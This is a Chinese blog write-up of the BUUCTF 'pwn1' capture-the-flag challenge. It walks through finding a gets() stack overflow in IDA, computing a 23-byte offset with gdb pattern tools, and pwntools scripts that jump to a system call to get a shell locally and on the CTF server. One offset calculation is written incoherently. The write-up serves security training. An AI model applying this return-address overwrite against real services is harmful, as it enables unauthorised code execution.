pwn之pwn1
PWN
BUUCTF 地址
IDA分析
F5 查看伪代码,gets存在溢出漏洞,并且存在system函数。所以只需要计算出偏移量,溢出跳转至system函数。
system函数地址0x000000000040118A
。
手动偏移量计算
ida逆向寻找到gets的地址,并在gdb中下断点。
输入r
运行,计算ESP 到 EBP的偏移量0x7fffffffdde0-(0x7fffffffdde0+1h)+8=23
,因为一个指针在64位操作系统上,占8个字节,所以要加8。详细计算方式可参考如下链接
输入c
继续运行,EAX与ESP的偏移量确实为1h
,而ida静态分析中发现ESP到EAX的偏移量1h
是正确的,ESP到EBP为F (15)
错误的
GDB pattern计算偏移量
pattern_create 50
随机生成50个字符,输入运行。根据报错地址内容0x3b41414441412841
计算偏移量。
pattern_offest 0x3b41414441412841
计算出偏移量为23。
poc
成功获取flag。
本地
from pwn import *
sh = process("./pwn1")
binsh_addr = 0x000000000040118A
payload = ''
payload += 'A'*23
payload += p64(binsh_addr)
sh.sendline(payload)
sh.interactive()
远程
from pwn import *
sh = remote('node3.buuoj.cn',26142)
binsh_addr = 0x000000000040118A
payload = ''
payload += 'A'*23
payload += p64(binsh_addr)
sh.sendline(payload)
sh.interactive()```
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!